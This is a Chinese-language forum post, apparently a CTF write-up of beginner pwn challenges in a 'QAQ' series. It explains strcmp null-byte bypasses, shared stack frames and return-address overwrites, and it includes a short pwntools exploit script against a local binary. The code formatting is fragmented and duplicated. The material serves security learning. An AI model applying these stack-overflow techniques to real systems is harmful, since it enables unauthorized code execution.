-
-
[原创]0rays战队PTT0爷的QAQ系列题解
-
发表于: 2022-4-27 23:55 7062
-
自11月2日到11月17日持续半个月的大工程,期间百分之大部分的时间都走了弯路。甚至大多都是慢慢调出来的,现在写前言的时候有些题的原理都还不是很清楚。借此机会,顺便研究一下原理。
可以看出要绕过两个东西,一个是strcmp的比较,另一个是v4的值。
为啥要在这里聊呢,因为后面QvQ、QAQ考察的核心就是strcmp函数
可以看出,当两个字符的指针均不为空的时候,比较指针所指的字符,如果存在不同,返回ASCII码的差值;当有一个字符指针为空的时候,结束比较并返回0.
一开始比较的时候,在gdb里面看到两个首字符相等就十分高兴,以为出了,结果后来用x指令发现后面几位根本不等,调了半天才出。
发现和Q_Q有很大的相似之处,但是不同的是两个比较的字符串buf和s2是我们读入的。从buf开始读入的字符,覆盖buf的同时也能够覆盖s2,所以我们只需要传入'\x00'就能保险地构造空指针使得绕过strcmp
一开始不知道strcmp函数的性质,走了很多弯路
pwn叫你不要看f5
可以看出strcmp(s1,s2)返回0时,到loc_8048547。当[ebp+var_44]与1Bh不等时,到达system()
这道题真的要对栈帧有深入的理解,因为涉及共用栈帧。并且能读懂汇编指令,
发现有一个全局变量(划重点!!!!),两个函数,还有一个打印的cannary,自然会想到接收cannary然后再覆盖的时候不修改cannary的值同时将main函数的返回地址设置为backdoor。但按照这种想法,后面就会被莫名其妙的segmentfault泼冷水
可以看到有个奇怪的地方,func1有读入但是没有比较,而func2有比较但是没有读入。会想到用func1读修改func2的v1的值。如何修改呢,这就涉及到对栈帧的理解了。进入gdb调试,我们发现,func1和func2的栈帧的ebp是完全一样的,意思是两个函数的栈帧其实是共用的。有人会问:会不会func1在清栈的时候把修改的值抹去或者重置?当然不可能,清栈时的leave函数个人理解其实是修改ebp和esp寄存器的值,对内存中其它地方的值是没有修改的。所以,这种想法是完全可行。
我们会发现,覆盖后在gdb里面单步步过会再get后到达一个奇怪的地方
一开始我想不通,这0x6161615d是什么寄,知道我读到了这个:
最后ret的其实是esp即[[ebp+var_4]-4],所以我们把ebp+var_4的位置放置backdoor_address+4即可
其实说实话,这四道题都还挺简单的,主要是要调,要熟练掌握gdb中x指令和看懂ida里的汇编语言,清楚理解栈帧等等。总算出新手村了,以后还要多加努力!
from
pwn
import
*
r
=
process(
"./Q_Q"
)
payload1
=
p32(
0x11756f79
)
+
'a'
*
(
0x16
-
0xc
)
+
p32(
0x8181B1B
)
gdb.attach(r)
r.send(payload1)
payload2
=
'a'
r.send(payload2)
r.interactive()
from
pwn
import
*
r
=
process(
"./Q_Q"
)
payload1
=
p32(
0x11756f79
)
+
'a'
*
(
0x16
-
0xc
)
+
p32(
0x8181B1B
)
gdb.attach(r)
r.send(payload1)
payload2
=
'a'
r.send(payload2)
r.interactive()
int
strcmp(const char
*
str1,const char
*
str2)
{
/
*
不可用
while
(
*
str1
+
+
=
=
*
str2
+
+
)来比较,当不相等时仍会执行一次
+
+
,
return
返回的比较值实际上是下一个字符。应将
+
+
放到循环体中进行。
*
/
while
(
*
str1
=
=
*
str2)
{
assert
((str1 !
=
NULL) && (str2 !
=
NULL));
if
(
*
str1
=
=
'\0'
)
return
0
;
str1
+
+
;
str2
+
+
;
}
return
*
str1
-
*
str2;
}
int
strcmp(const char
*
str1,const char
*
str2)
{
/
*
不可用
while
(
*
str1
+
+
=
=
*
str2
+
+
)来比较,当不相等时仍会执行一次
+
+
,
return
返回的比较值实际上是下一个字符。应将
+
+
放到循环体中进行。
*
/
while
(
*
str1
=
=
*
str2)
{
assert
((str1 !
=
NULL) && (str2 !
=
NULL));
if
(
*
str1
=
=
'\0'
)
return
0
;
str1
+
+
;
str2
+
+
;
}
赞赏
- 西湖论剑2024 IOT赛后复盘及mqtt rce详解 13809
- 对某嵌入式设备声波配网的研究 11908
- DAS10月月赛PWN出题心路&&CVE-2023-40930的介绍 11344
- [原创]关于Nokelock蓝牙锁破解分析 21825
- [原创]基于树莓派的蓝牙调试环境搭建 24472